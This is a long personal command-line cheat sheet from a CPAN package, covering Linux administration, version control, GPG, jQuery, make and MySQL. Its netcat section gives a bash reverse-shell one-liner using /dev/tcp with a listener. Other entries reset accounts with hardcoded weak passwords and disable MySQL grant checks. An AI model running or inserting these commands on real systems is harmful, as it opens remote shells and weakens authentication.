App-Cheats

 view release on metacpan or  search on metacpan

cheats.txt  view on Meta::CPAN

spec:
  rules:
  - host: hello-world.info  # Ask krikkit for correct name!
    http:
      paths:
      - path: /                         # Redirects requests back to self
        pathType: Prefix
        backend:
          service:
            name: keycloak-service      # To this existing service
            port:
              number: 8080              # and port


#############################################################
## Journalctl
#############################################################

# Examples of journalctl commands.
journalctl _PID=1                      # From a precific PID.
journalctl -S -4h                      # Since last 4 hours.
journalctl -S 22:00:00                 # Since a sprecific time.
journalctl -S 2022-02-10               # Since a specific date.
journalctl -S '2022-02-10 22:00:00'    # Since a specific date and time.
journalctl -U 22:00:00                 # Until a specific time.
journalctl -u cron[.service]           # Search by unit type.
journalctl -F _SYSTEMD_UNIT            # List all units found in the logs.
journalctl -N                          # List all fields.
journalctl -g 'gas.*'                  # Grep through the logs.
journalctl -b                          # Start to end of current boot.
journalctl -b -1                       # Start to end of last boot.
journalctl -b -r                       # Start to end of current boot in reverse.
journalctl --list-boots                # List boots by IDs.
journalctl  -k                         # Display kernel messages.
journalctl -f                          # Like tail -f.


#############################################################
## JP2A
#############################################################

# png to ascii converter (linux,ascii,art)
sudo apt install jp2a
jp2a --colors programmer_icon.png


#############################################################
## Kate Editor
#############################################################

# Kate editor shortcuts
F6  - Left margin
F9  - Right margin (code folding)
F11 - Line numbers


#############################################################
## Kubeseal
#############################################################

# Kubeseal handles passwords - Simple use case.
# Creates a yaml manifest file that can be used publicly.
# without sharing the real password.
echo -n bar | kubectl create secret generic mysecret --dry-run=client --from-file=foo=/dev/stdin -o yaml > mysecret.yaml

# Seal a kubernetes manifest file.
# This service needs to be running:
kubectl get service sealed-secrets-controller -n kube-system
#
# Run this to seal:
cat mysecret.yaml | kubeseal --format=yaml --namespace iam --controller-namespace kube-system --controller-name sealed-secrets-controller > my-sealed-secret.yaml


#############################################################
## Keycloak
#############################################################

# Keycloak links
admin: http://localhost:8080/admin
realm: http://localhost:8080/realms/myrealm/account

# Keycloak simple example.
https://www.keycloak.org/getting-started/getting-started-docker
#
# Get the latest image:
docker pull quay.io/keycloak/keycloak:latest
#
# Can see that its using kc.sh as the entrypoint:
docker inspect quay.io/keycloak/keycloak:latest
#
# View the help page:
docker run quay.io/keycloak/keycloak:latest -h
#
# Start a simple development server:
docker run --rm -p 8080:8080 -e KEYCLOAK_ADMIN=admin -e KEYCLOAK_ADMIN_PASSWORD=admin quay.io/keycloak/keycloak:latest start-dev
#
# Go to http://localhost:8080/


#############################################################
# Linux Terminal
#############################################################

# Search through linux terminal history
Control + r


#############################################################
## Linux Commands - apt-cache
#############################################################

# Search for available apt-get modules/libraries/package
apt-cache search perl

# View more info of packages to be installed
sudo apt-cache show perl

# Show module/library dependancies
apt-cache depends perl


#############################################################
## Linux Commands - apt-get

cheats.txt  view on Meta::CPAN

dpkg --add-architecture i386

# Check if a package is on hold (no updates)
dpkg --get-selections apksigner
apt-mark showhold

# Remove packages marked with rc:
dpkg -l | \grep '^rc' | nth 1 | xargs sudo dpkg --purge


#############################################################
## Linux Commands - dmesg
#############################################################

# View kernel messages
dmesg


#############################################################
## Linux Commands - du
#############################################################

# Get top 20 people using too much disk space
du -ms /* | sort -nr | head -n 20

# Find how much space each locked user is using
a=`sudo passwd -Sa | AND -r "\bL$" | get_nth 0 | while read u; do ls -d1 /net/home*/$u; done 2>/dev/null | col_2_row`
b=`sudo du -scm `echo $a` | sort -nr`
echo "$b" | perl -ple '($u)=m{/([^/]+)$} or ($_=sprintf "%-30s %s", $_,"Password Status (L - Locked)") and next; ($s)=(split " ",`sudo passwd -S $u`)[-1]; chomp $s; $_ = sprintf "%-30s %s", $_, $s'

# Find how much space each locked user is using (compact)
sudo passwd -Sa | AND "\bL$" | perl -aple '$d=qx{sudo du -sm /net/home*/$F[0]}; $d = $? ? "NO HOME DIR" : (chomp $d,$d); $_ = "$d - $_"'


#############################################################
## Linux Commands - eval
#############################################################

# Variable name is stored in another variable
n1=abc
abc=blue
abc2=green
eval var=\$$n1
echo $var
n1=abc2
eval var=\$$n1
echo $var

# Expand $HOME variable (dollar,bash)
file='$HOME/my_path'
"`eval echo $file`"

# Expand uicfg $HOME variables
cat $HOME/uicfg | while read line; do echo `eval echo $line`; done


#############################################################
## Linux Commands - expect
#############################################################

# Run a command where user input is required (script,auto,password)
expect -c 'spawn ssh SOME_USER@irkdes "date"; expect "password:"; send "asdf1234\r"; interact'

# Expect quirks (scipt,auto,password)
# This will NOT work
echo "SOME_USER" | while read n; do expect ... ; done
# This DOES work
for n in "SOME_USER"; do expect ... ; done

# Suppress output (scipt,auto,password)
# Some output
expect -c 'spawn -noecho ... '
# All output
expect -c 'log_user 0; spawn ... '     # Restore with "log_user 1"


#############################################################
## Linux Commands - find
#############################################################

# Find every file where a name is used (starting from pwd location)
find . * | perl -ne 'print unless /^\./' | perl -lne 'print if -f' | xargs perl -lne 'print $ARGV if /start.txt/'

# Find all files but do not look in certain directories
find $source -not \( -path '*.svn' -prune -or -path '*.git' -prune \) > $all_files

# Find specific files but return directories
find . -name "*.h" -printf '%h\n'
find . -name "*.h" -exec dirname {} ';'
find . -name "*.h" -exec dirname {} \;

# Change permissions of all files / folders.
find . -type f -exec chmod 664 {} ';'
find . -type d -exec chmod 775 {} ';'

# Using a variable to define the find string.
n="-name *.pm";   find . $n     # Works.
n="-name '*.pm'"; find . $n     # Looks correct, but does NOT work!

# Find all git directories from current location
find . -name .git -type d | xargs -I{}  readlink -f {} | perl -ple 's#^/\w+##; s#/\.git$##'

# Find all files owned by a certain user
sudo find . -user xbe4092
sudo find . -maxdepth 3 -user xbe4092

# Find all files which are more than 100 days old (since they were accessed)
find $DIR -name "*.txt*" -atime +100
ll `find $DIR -name "*.txt*" -atime +100`

# Find all files which are more than 100 days old and deletes them
sudo find $DIR -name "*.txt*" -atime +100 -delete

# Search for multiple files patterns
find $DIR -name "*.glo*" -o -name "*name*"

# Find all files in current location
# but do not go into certain folders (omit, exclude)
find . -not \( -path '*.svn' -prune \)

# Find and perform an action (1,semicolon)
find $DIR -exec echo Arg: {} ';'

# Find and perform an action (2,plus)
find $DIR -exec echo Arg: {} '+'

# Find all empty folders (directory)
find . -type d -empty

# Delete all files using "find"

cheats.txt  view on Meta::CPAN


#############################################################
## Linux Commands - mktemp
#############################################################

# Create a randomly named temp file.
mktemp
mktemp --suffix=.go


#############################################################
## Linux Commands - mountpoint
#############################################################

# Check if a directory is mounted
mountpoint /media/tim/OTRS_BACKUP/ -q && echo "mounted"


#############################################################
## Linux Commands - netstat
#############################################################

# Display a table of all network interfaces
netstat -i

# Display summary statistics for each protocol
netstat -s

# View all network traffic for OMS
netstat -anpe | grep oms

# View routing table  (Debug,pi,IP addresses)
netstat -r
netstat -rn 	# No DNS lookup


#############################################################
## Linux Commands - nmon
#############################################################

# Monitor overrun processes (DES,UI)
sudo apt-get install nmon


#############################################################
## Linux Commands - nslookup (dig)
#############################################################

# Convert network address to name like DNS
nslookup 1.1.1.1
host sapbr01
# Find DNS servers
nslookup
> lserver


#############################################################
## Linux Commands - passwd, chpasswd, vipw, gpasswd
#############################################################

# Reset/Change a users password (admin)
 Log unto fs
sudo passwd xbexxxx
asdf1234
asdf1234
sudo make -C /var/yp

# Change root password
sudo passwd root

# Reset password in a script with no prompt (change)
# Can only supply one user to "passwd"
echo asdf1234 | sudo passwd xbe4092 --stdin; sudo make -C /var/yp
echo -e "xbe4092:asdf1234\npotapov:asdf1234" | sudo chpasswd; sudo make -C /var/yp

# Reset password over ssh (change,admin)
ssh -qtY potapov@lnxbrfs01 'echo -e "xbe4092:asdf123\npotapov:asdf123" | sudo /usr/sbin/chpasswd; sudo make -C /var/yp'
sb fs1 'echo -e "xbe4092:asdf123\npotapov:asdf123" | sudo /usr/sbin/chpasswd; sudo make -C /var/yp'

# Reset password of many users (admin,change)
echo "xbe4092:asdf1234" | sudo chpasswd
sudo make -C /var/yp

# Edit the password file. Disable/Lock user accounts before deleting
# Change /bin/bash to /bin/false
# Asterisk in password field disables account
sudo vipw
sudo make -C /var/yp

# Check if specific user account is:
# L  - Locked
# NP - No Password
# P  - Password is set (OK)
sudo passwd -S SOME_USER

# Check all user accounts if:
# L  - Locked
# NP - No Password
# P  - Password is set (OK)
sudo passwd -Sa

# Remove user from a group (delete, passwd)
Log unto fs01
sudo gpasswd -d potapov controls
sudo make -C /var/yp


#############################################################
## Linux Commands - pidof
#############################################################

# Process ID of a program (PID)
pidof omsCommand


#############################################################
## Linux Commands - ps
#############################################################

# Kill the ui when things aren't working
ps -ef | grep ui

# See all users on the bench
ps -elf | grep ui

# Show which processes were started by the current user
ps -elf | grep $USER

# Kill unigraph process if it is running in the background
ps -elf | grep unigraph | perl -anle '`skill -KILL $F[3]`'

# Be more specific in process selection (ps) options
ps -o user,ucmd --no-heading -C ui

# Currently running process (use in a script such as getinfo.sh)
ps -elf | grep getinfo.sh | grep -v grep | grep -v $$

# Check if puppet is running on all the benches
run_on_all_benches.pl 'ps -elf | grep puppet | grep -v grep'

# Check if systemd or init is used
ps -p 1


#############################################################
## Linux Commands - rcs
#############################################################

# Unlock a file
co -u file

# RCS error: file is in use
rm -f RCS/,file_name

# RCS error: file locked by pwxxxx
rcs -U file

# RCS: check in a file initially without the prompt message
ci -t-msg tiny2_rcs.tst


#############################################################
## Linux Commands - read
#############################################################

# Read input from the keyword/user without showing the password (much easier in bash)
read -s pass; echo "got [$pass]"
read -s -p "Password:" pass; echo; echo "got [$pass]"

# Read input from the keyword/user without showing the password. Limit password length
read -s -n 5 -p "Password:" pass; echo; echo "got [$pass]"


#############################################################
## Linux Commands - reptyr
#############################################################

# Attach to a running process on the existing terminal
sudo apt-get install reptyr


#############################################################
## Linux Commands - rsnapshot
#############################################################

# Install rsnapshot on centos
yum install epel-release
yum install rsnapshot

# Check if rsnapshot configuration file is valid
rsnapshot configtest

# Show the command that would be executed
rsnapshot -t daily
rsnapshot -t weekly


#############################################################
## Linux Commands - rsync
#############################################################

# Copy/Sync entire directories
rsync -avh FROM TO

# Copy/sync a file while preserving the folder structure.
rsync -avz --relative FROM/file TO

# Show what rsync would do with actually doing it.
rsync -avh --dry-run FROM TO
rsync -avh -n FROM TO

# Copy/Sync entire directories (OnePlus Backup)
time rsync \
   -ah \
   --info="progress2" \
   --stats \
   --delete \
   --delete-delay \
   --delete-excluded \
   --delay-updates \
   --exclude=".tubemate/" \
   --exclude="Android/" \
   --exclude="Alarms/" \
   --exclude="APK Extractor/" \
   --exclude="Audiobooks/" \
   --exclude="n7player/" \
   --exclude="Movies/" \
   --exclude="Pictures/.thumbnails/" \
   --log-file="$new.log" \
   "$src/" "$new/"

cheats.txt  view on Meta::CPAN

# Resolve conflicts in SVN repository
svn resolve

# Check out a specific revision/version
svn co -r 4705 file:////home/sb_dev/src/omspp/trunk .

# View all the tags for an svn repository
svn ls -v ^/tags
#
# ^   means head of repo
# ^/  means tags is found right in directly below repo head

# Add new file to existing svn repository
svn add file

# Commit new files to svn repository
svn ci file -m "comment"

# Check out a particular revision/version from the repository
svn co URL_GOES_HERE@DESIRED_REVISION WHERE_TO_SAVE

# Create a new svn directory (like batch_test)
svn import Batch_Test/ <url> -m "Added Batch_Test folder for nightly batch tool"

# Checkout a file/directory from SVN
svn export <url> --username tpotapov

# Update svn in the current directory
svn update

# Update SVN to a specific version
svn update -r 147

# Revert svn repository to a previous state/version (undo) (Added: 2017-10-31 04:32:02 PM)
svn update -r 4611


#############################################################
## Linux Commands - svn (misc)
#############################################################

# Remove/delete a file from the repository
svn rm <url>/abc -m "testing"

# clean up the svn (to remove locks)
svn cleanup

# ERROR: Failed to run the WC DB work queue associated with (svn)
cd ~/omspp/trunk
# Files still in queue
sqlite3 .svn/wc.db '.explain on' 'select * from work_queue'
# Delete all files in queue
sqlite3 .svn/wc.db '.explain on' 'delete from work_queue'
# Cleanup
svn cleanup

# Setup SVN Cyient variables (debugging use)
svn_pull_url="<url>/Tests"
svn_push_url="<url>/Results"
svn_username="tpotapov"
read -s -p "password: " svn_password
SB run 1234 t1+a "svn pull=$svn_pull_url push=$svn_push_url user=$svn_username pass=$svn_password"


#############################################################
## Linux Commands - tail
#############################################################

# Retain only the most rescent 10 logs (logs in this format: 2017Y_06m_22d_12H_34M_55S) (keep,remove)
max=10
ls -1 2* | tail -n +$(($max+1)) | xargs rm -f


#############################################################
## Linux Commands - tar, zip
#############################################################

# Extract a tar file (.gz) untar a file (unzip)
tar -zxvf <file>
tar -xvzf rakudo-star-2017.01.tar.gz

# Zip a file (compress)
zip my.zip dir/*

# Unzip a git repository/file
unzip <file>

# Unzip and word document into xml
unzip word.docx

# Compress a folder into a zipped file
tar -cvvf  dir.tar dir     # Normal size
tar -cvvzf dir.gz  dir     # Zipped, fraction of size

# Decompress a folder from a zipped file
tar -xvvf  dir.gz  dir

# Untar a file into another directory (uncompress)
tar -xvvf ~/dir1/tar_file -C ~/dir2


#############################################################
## Linux Commands - telnet
#############################################################

# Connect to imap server.
telnet imap.gmail.com 993


#############################################################
## Linux Commands - test
#############################################################

# Process only a certain file (Added: 2017-10-26 10:04:53 AM)
if test -s acteec_out.gloascii


#############################################################
## Linux Commands - top
#############################################################

# Monitor processes by user

cheats.txt  view on Meta::CPAN



#############################################################
## Linux Commands - usermod
#############################################################

# Change group id of a user (DES,gid)
sudo usermod -g 1000 potapov

# Change user id of a user (DES,uid)
sudo usermod -u 10285 potapov

# Add user to a new group/groups (passwd)
Log unto fs01
sudo usermod -a -G controls,system potapov
sudo make -C /var/yp

# Change the shell for a specific user
sudo usermod -s /bin/bash potapov   # can specify user here

# Change full name in passwd file
sudo usermod -c "Last First" xbeXXXX

# Change home directory
Log unto fs01
cd /home3
sudo usermod -d /home4/xbe4092 xbe4092

# Move home directory
Log unto fs01
sudo usermod -d /home4/xbe4092 -m xbe4092

# Add/append group to user
# Current user would need to log out and in again
# for changes to take effect.
sudo usermod -a -G GROUP_NAME USER
#
# A way to temporarily apply new group.
sudo su $USER


#############################################################
## Linux Commands - watch
#############################################################

# Watch the UI sessions
watch -d -n1 screen -list

# Alias command to watch all the files in the current directory for changes
alias watch_files='watch ls -alF'


#############################################################
## Linux Commands - wget
#############################################################

# Pass through wget firewall/proxy (Download)
read -sp "Password: " PASSWORD
export http_proxy=http://xbe4092:$PASSWORD@pratt-proxyva.utc.com:8080/
export https_proxy=http://xbe4092:$PASSWORD@pratt-proxyva.utc.com:8080/
# If password contains special characters (like #,@ ...)


#############################################################
## Linux Commands - whereis
#############################################################

# Locate a program
which perl
whereis perl


#############################################################
## Linux Commands - who
#############################################################

# See all users on the bench
who


#############################################################
## Linux Commands - xargs
#############################################################

# Make xargs work when files may have spaces in the name (Added: 2017-10-27 08:48:11 AM)
# changes the delimiter from a space to a newline
ls abc\ file.txt | xargs -d "\n" grep tuff


#############################################################
## Linux Commands - xrandr
#############################################################

# Find out the monitor/screen size (pi)
xrandr
/opt/vc/bin/tvservice -s


#############################################################
## Linux Commands - xsel
#############################################################

# Use copy and paste on the command line.
sudo apt install xsel
alias pbcopy='xsel --clipboard --input'
alias pbpaste='xsel --clipboard --output'


#############################################################
## Linux Commands - xterm
#############################################################

# Resize window (Putty,xterm)
echo -e '\e[8;50;100t'

# Minimize the window for a few seconds, then restore it (Putty,xterm)
echo -e '\e[2t' && sleep 2 && echo -e '\e[1t'

# Move the window to the top/left corner of the display (Putty,xterm)
echo -e '\e[3;0;0t'

cheats.txt  view on Meta::CPAN


# install xdotool from repository
cd ~junk/xdo/xdotool-master
sudo make install

# Check dependencies of a debian package
dpkg -I xdotool_3.20160512.1-1_i386.deb

# Install package from source (.deb)
sudo dpkg -i xdotool_3.20160512.1-1_i386.deb
sudo apt-get install -f

# Launch an xterm window into a certain directory
xterm -e 'cd ~/dsu && /bin/bash'
xterm -fg White -bg Black -sl 10000 -fn a14 -geometry 84x51+1722-78 -title "sre2bin" -e 'cd ~/dsu && /bin/bash'
xterm -fg White -bg Black -sl 10000 -fn a14 -geometry 84x51+1722-78 -title "sre2bin" -e 'cd ~/dsu; /bin/bash'
xterm -fg White -bg Black -sl 10000 -fn a14 -geometry 84x51+1722-78 -title "sre2bin" -e 'cd ~/dsu; bash'

# Check if xterm environment is working (Added: 2017-11-02 03:56:18 PM)
xeyes

# Check what kind of terminal I am using (xterm,bench)
echo $TERM

# Wrap long lines unto next row in bash/linux
# Exclose PS1 in '\[PS1_VALUE\]'

# Function which run on each prompt.
PROMPT_COMMAND=__prompt_command
__prompt_command ()
{
    local EXIT="$?";
    PS1=$_PS1;
    if [ $EXIT != 0 ]; then
        PS1+=$RED$'\u2716'$RESTORE
    else
        PS1+=$GREEN$'\u279c'$RESTORE
    fi;
    PS1+=" "
}


#############################################################
## Linux Commands - xxd
#############################################################

# Convert a binary file to hex
xxd NVM_EDF_CHA.dat > tmp_file

# Convert a hex file to binary
xxd -r tmp_file > tmp.bin

# Open a binary file in hex with vim
vi <(xxd tmp.bin)


#############################################################
## Linux Commands - ypcat
#############################################################

# View password file on main server (yellow page cat)
ypcat passwd

# Add ypcat passwd command if missing
vi /var/yp/nicknames
# add entry: passwd      passwd.byname

# Return users which are found in the yellow pages password file
cat user_deletion_list | perl -ne 'print `ypcat passwd | grep $_` ' > found_in_yp

# Remove/Delete a user account
 1. Check username in Outlook (CTRL-K)
 2. Check username in Yellow Pages (ypcat passwd | grep username)
 3. Go to file server
sudo userdel -r username	# -r does this: sudo rm -rf username
sudo make -C /var/yp


#############################################################
## Linux Commands - yppasswd
#############################################################

# Change your password
yppasswd


#############################################################
## Linux Commands - zero
#############################################################

# Clear NVM/flash memory (from start to and including the end address)
zero -p ppa -s 0xSTART_ADDRESS -e 0xEND_ADDRESS


#############################################################
## Linux Accounts
#############################################################

# Check when a users account was created (good unless file was updated or touched)
ll ~SOME_USER/.bash_logout

# Check when a users account was created (good unless home account changed)
ll -d ~SOME_USER
echo ~SOME_USER | perl -lne 'print for -M,-C,-A'


#############################################################
## Linux Hardware
#############################################################

# View how many processors are on a machine/bench
cat proc/cpuinfo
cat /proc/cpuinfo | perl -ln0777e "print ~~split qq(\n\n)"
nproc

# Find out the service tag code of a machine (Bob)
# That is the same as the serial number
# Used for compability purposes (such as when getting new drives)
/usr/sbin/dmidecode | perl -ln00e 'print if /System Information/'

# Find out easily how many cpu there are (a command)
lscpu

# Check if using intel or AMD. (linux)
lscpu | grep 'Vendor ID'

# Add module to kernel (DES,UI,insert,library)
insmod /lib/modules/2.6.11/kernel/fs/fat/fat.ko
modprobe msdos

# Find out version of debian you are running (DES)
cat /etc/debian_version

# Check processor family (DES,UI)
grep "cpu family" /proc/cpuinfo
# Cpu family of "6" means use "Pentium-Pro"

# Change boot loader to use certain cpu's (DES,UI,Mark,shielding)
cd /boot/grub
sudo vi grub.cfg
/\Vlinux /boot/vmlinuz-3.16.51+20180205+1524
/\Vlinux /boot/vmlinuz-3.16.51+20180205+1524
# Add this to

cheats.txt  view on Meta::CPAN

# Mode 16000 means "you're recoding a commit as a directory
# entry rather than a subdirecotry or file"
git ci -am "Added Submodules"

# Cloning project with submodules
# By default will get the submodule folder with no files
git clone <url>            # Clone project
cd <submodule_folder>
git submodule init         # Init local files
git submodule update       # Get latest content of submodule

# Cloning project with submodules (simpler)
git clone --recursive <url>

# To remove a git submodule you need to:
# 	Delete the relevant section from the .gitmodules file.
# 	Stage the .gitmodules changes git add .gitmodules
# 	Delete the relevant section from .git/config.
# 	Run git rm --cached path_to_submodule (no trailing slash).
# 	Run rm -rf .git/modules/path_to_submodule (no trailing slash).
# 	Commit git commit -m "Removed submodule "
# 	Delete the now untracked submodule files rm -rf path_to_submodule


#############################################################
## Git - Extra Unused Commands
#############################################################

# Push upstream to origin (GitLab) and set upstream
git push -u origin master

# Pull down changes from origin
git pull origin master

# Need to restart explorer.exe after installing TortoiseGit
# before the icons will change.


#############################################################
## Gitlab - Syntax
#############################################################

# Multiple lines in command/script (Gitlab - Syntax)
https://docs.gitlab.com/ee/ci/yaml/script.html#split-long-commands
# Long lines can be split into multiple lines (no special syntax)
# "|" can be used to each line as a separate command.
# ">" can be used to each block of new line separated lines
    as a separate command.


#############################################################
## GPG Encryption (PGP Key)
#############################################################

# Generate a PGP key
gpg --gen-key

# Create a PGP signed file
gpg -ea -r "YOUR_NAME" > $HOME/.pause
user USER
password Pas$word

# Show your PGP keys (list)
gpg -k      # Public keys.
gpg -K      # Secret keys.

# Decrypt a PGP signed file.
gpg -d ~/.pause

# Cache password in agent.
# Some reason this fixed caching.
gpgconf --kill gpg-agent

# Share GPG keys (export from one, import in another machine).
gpg --export-secret-key -a > secretkey.asc
gpg --import secretkey.asc

# Warning: It is NOT certain that the key belongs to the person named.
gpg --edit-ḱeys YOUR_NAME
trust
5
yes

# Delete expired keys.
#
# Step 1: Create revoke certificate:
gpg --output revoke.asc --gen-revoke YOUR_ID
#
# Step 2: Apply revoke:
gpg --import revoke.asc
#
# Step 3: Delete secret key:
gpg --delete-secret-keys YOUR_ID
#
# Step 4: Delete public key:
gpg --delete-keys YOUR_ID

# Delete all keys.
gpg --delete-key 'Tim Potapov'
gpg --delete-secret-key 'Tim Potapov'


#############################################################
## HTML Attribute - href
#############################################################

# Run a javascript function when clicking a link instead of going to a page
<a class="myWrapper" href="javascript:myFunc()"><div class="myText">+</div></a>


#############################################################
## HTML Element - details
#############################################################

# Create an automatically foldable element in HTML
<details>
	<summary>Quick summary</summary>
	<h1>All details start here</h1>
	<p>and continue till the end</p>
</details>


#############################################################
## HTML Unicode
#############################################################

# HTML Unicode. ZERO WIDTH SPACE.
&#8203;     // e2808b

# Zero-width Unicode characters table:

cheats.txt  view on Meta::CPAN

# Matches the nth child element, even or odd child elements, or nth child element
# computed by the supplied formula within the context, counting from the last to
# the first element, based on the given parameter (JQuery,Selectors,Child,Filters,Table 2.5)
:nth-last-child(n),:nth-last-child(even|odd),:nth-last-child(Xn+Y)

# Matches the nth child element, even or odd child elements, or nth child element
# of their parent in relation to siblings with the same element name
# (JQuery,Selectors,Child,Filters,Table 2.5)
:nth-of-type(n),:nth-of-type(even|odd),:nth-of-type(Xn+Y)

# Matches the nth child element, even or odd child elements, or nth child element
# of their parent in relation to siblings with the same element name, counting from
# the last to the first element (JQuery,Selectors,Child,Filters,Table 2.5)
:nth-last-of-type(n),:nth-last-of-type(even|odd),:nth-last-of-type(Xn+Y)

# Matches the elements that have no siblings (JQuery,Selectors,Child,Filters,Table 2.5)
:only-child

# Matches the elements that have no siblings of the same type#
 (JQuery,Selectors,Child,Filters,Table 2.5)
:only-of-type


#############################################################
## JQuery Selectors - Form Filters. Table 2.6
#############################################################

# Selects only button elements (input[type=submit], input[type=reset], input[type=button],
# or button) (JQuery,Selectors,Form,Filters,Table 2.6)
:button

# Selects only check box elements (input[type=checkbox])
# (JQuery,Selectors,Form,Filters,Table 2.6)
:checkbox

# Selects check boxes or radio elements in the checked state or options of select
# elements that are in a selected state (JQuery,Selectors,Form,Filters,Table 2.6)
:checked

# Selects only elements in the disabled state (JQuery,Selectors,Form,Filters,Table 2.6)
:disabled

# Selects only elements in the enabled state (JQuery,Selectors,Form,Filters,Table 2.6)
:enabled

# Selects only file input elements (input[type=file]) (JQuery,Selectors,Form,Filters,Table 2.6)
:file

# Selects elements that have the focus at the time the selector is run
# (JQuery,Selectors,Form,Filters,Table 2.6)
:focus

# Selects only image input elements (input[type=image])
# (JQuery,Selectors,Form,Filters,Table 2.6)
:image

# Selects only form elements (input, select, textarea, button)
# (JQuery,Selectors,Form,Filters,Table 2.6)
:input

# Selects only password elements (input[type=password])
# (JQuery,Selectors,Form,Filters,Table 2.6)
:password

# Selects only radio elements (input[type=radio])
# (JQuery,Selectors,Form,Filters,Table 2.6)
:radio

# Selects only reset buttons (input[type=reset] or button[type=reset])
# (JQuery,Selectors,Form,Filters,Table 2.6)
:reset

# Selects only option elements that are in the selected state
# (JQuery,Selectors,Form,Filters,Table 2.6)
:selected

# Selects only submit buttons (button[type=submit] or input[type=submit])
# (JQuery,Selectors,Form,Filters,Table 2.6)
:submit

# Selects only text elements (input[type=text]) or input without a type specified
# (because type=text is the default) (JQuery,Selectors,Form,Filters,Table 2.6)
:text


#############################################################
## JQuery Selectors - Content Filters. Table 2.7
#############################################################

# Selects only elements containing the specified text (the text of the children and
# the descendants is also evaluated). (JQuery,Selectors,Content,Filters,Table 2.7)
:contains(text)

# Selects only elements that have no children (including text nodes).
# (JQuery,Selectors,Content,Filters,Table 2.7)
:empty

# Selects only elements that contain at least one element that matches the specified
# selector. (JQuery,Selectors,Content,Filters,Table 2.7)
:has(selector)

# Selects only elements that have at least one child node (either an element or text).
# (JQuery,Selectors,Content,Filters,Table 2.7)
:parent


#############################################################
## JQuery Selectors - Other Filters. Table 2.8
#############################################################

# Selects only elements that are currently under animated control
# (JQuery,Selectors,Other,Filters,Table
# 2,8)
:animated

# Selects only elements that are headers: <h1> through <h6>
# (JQuery,Selectors,Other,Filters,Table
# 2,8)
:header

# Selects only elements that are hidden (JQuery,Selectors,Other,Filters,Table 2,8)
:hidden

cheats.txt  view on Meta::CPAN


# Extract the nth word (one-origin) of text. (gnu make)
$(word n,text)

# Performs a textual replacement on the text text (gnu make)
# Each occurrence of from is replaced by to.
# The result is substituted for the function call.
$(subst from,to,text)

# Dynamic variable to find out the current makefile path (gnu make)
# and/or makefile directory
whoami   = $(word $(words $(MAKEFILE_LIST)), $(MAKEFILE_LIST))
whereami = $(dir $(whoami))

# Debugging code to find out current location (gnu make)
$(info "make pwd is $(CURDIR)")
$(info "shell pwd is $(shell pwd)")
$(info "MAKEFILE_LIST: $(MAKEFILE_LIST)")
$(info "whoami:   $(whoami)")
$(info "whereami: $(whereami)")

# Escape dollar sign in a makefile
# Shows available makefile targets (options)
help:
    make -pn | perl -lne 'print "  $$1" if /^([-a-z]+):/' | sort

# Makefile template (sample,example):
#!/bin/bash
SHELL := /bin/bash
help:
    @echo
    @echo "Options:"
    @make -pn | perl -lne 'print "  $$1" if /^([-a-z]+):/' | sort
    @echo


#############################################################
## Make Command Line Arguments
#############################################################

# Processing command line arguments in a makefile
tm_all:
    @echo "All inputs:"
    @perl -E 'say "[$$_]" for @ARGV;' $(MAKECMDGOALS)
    @echo ---
    @echo "All target arguments:"
    @perl -E 'say "[$$_]" for @ARGV;' $@
    @echo ---
    @echo "All non target arguments:"
    @perl -E 'say "[$$_]" for @ARGV;' $(filter-out $@,$(MAKECMDGOALS))


#############################################################
## MySQL
#############################################################

# Install MySQL on linux.
sudo apt install mysql-server mysql-client libmysqlclient-dev
sudo systemctl start mysql.service
mysql -u root
> ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'root';
> CREATE USER 'tim'@'localhost' IDENTIFIED BY 'tim';
> use mysql;
> SELECT User, password_last_changed FROM user;
mysql -u root -proot
cpanm DBD::mysql

# Cannot login to msql with root.
sudo vi /etc/mysql/my.cnf
[mysqld]
skip-grant-tables

# Find duplicates using mysql.
mysql -u otrs -potrs otrs -e '
SELECT col,COUNT(col) from table GROUP BY col HAVING COUNT(col) >

# Run mysql query on the command line.
mysql -u user -ppassword table -e 'query'

# Show a table schema in mysql
DESCRIBE table

# MySQL strange behavior
https://stackoverflow.com/questions/11714534/mysql-database-with-unique-fields-ignored-ending-spaces
# Before comparison using "=", trailing whitespace is removed!!!
# Use LIKE instead.
# INSERT used "=" comparison when checking for duplicates before inserting.

# Fix table that does not seem to be working correctly:
# Data not in DB, but INSERT complains about an existing entry.
# https://dev.mysql.com/doc/refman/8.0/en/optimize-table.html
optimize table my_table;

# Get column count per table (SQL)
SELECT TABLE_NAME, count(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = DATABASE() GROUP BY TABLE_NAME ORDER BY count;

# Make a query take forever to complete
SET SESSION cte_max_recursion_depth = 10000000000000;
WITH RECURSIVE counter(n) AS (SELECT 1 UNION ALL SELECT n % 1 FROM counter WHERE n < 10000000000) SELECT n FROM counter;

# Debug what is slow on MYSQL (Diagnostics,DB)
#
# Currently running or pending connections:
SHOW FULL PROCESSLIST;
KILL QUERY <ID>;
#
# History of commands run:
SELECT * FROM performance_schema.events_statements_summary_by_digest\G
#
# History focused:
SELECT CAST(MAX_TIMER_WAIT/1E12 AS UNSIGNED) AS max_time, COUNT_STAR AS calls, CAST(MAX_TOTAL_MEMORY/1024 AS UNSIGNED) as MB, QUERY_SAMPLE_TEXT FROM performance_schema.events_statements_summary_by_digest WHERE CAST(MAX_TIMER_WAIT/1E12 AS UNSIGNED) > ...


#############################################################
## Nagios
#############################################################

# Dashboard for websites status (Jira)
nagios


#############################################################
## Netcat Listener (nc)
#############################################################

# Start netcat listener on a specific port (Unix)
nc -nlvp 4445

# Start netcat listener on a specific port (MacOS)
nc -nvl 4444

# Reverse Shell - Netcat
# Listener.
sudo ncat -lnvp 87

# Reverse Shell Connect - Bash
bash -i >& /dev/tcp/localhost/87 0>&1

cheats.txt  view on Meta::CPAN

}

# Run multiple processes and collect their data (no debug output).
perl -MMojo::Util=dumper -E 'use strict; use warnings; local $| = 1; my @Wait; for my $Count (1..200){ my($In,$Out); pipe($In,$Out); my $PID = fork; if (!$PID){ close $In; sleep int(rand(5)); say $Out "From-$Count"; close $Out; exit 0 } close $Out; p...

# Run multiple processes and collect their data.
# Sends a structure back from the children.
perl -Mojo -E 'local $| = 1; my @Wait; for my $Count (1..5){ my($In,$Out); pipe($In,$Out); my $PID = fork; if (!$PID){ close $In; sleep int(rand(5)); say $Out j { Title => "From-$Count", Count => $Count }; close $Out; exit 0 } close $Out; push @Wait,...
{
  "1" => {
    "ChildPid" => 28843,
    "Count" => 1,
    "Title" => "From-1"
  },
  "2" => {
    "ChildPid" => 28844,
    "Count" => 2,
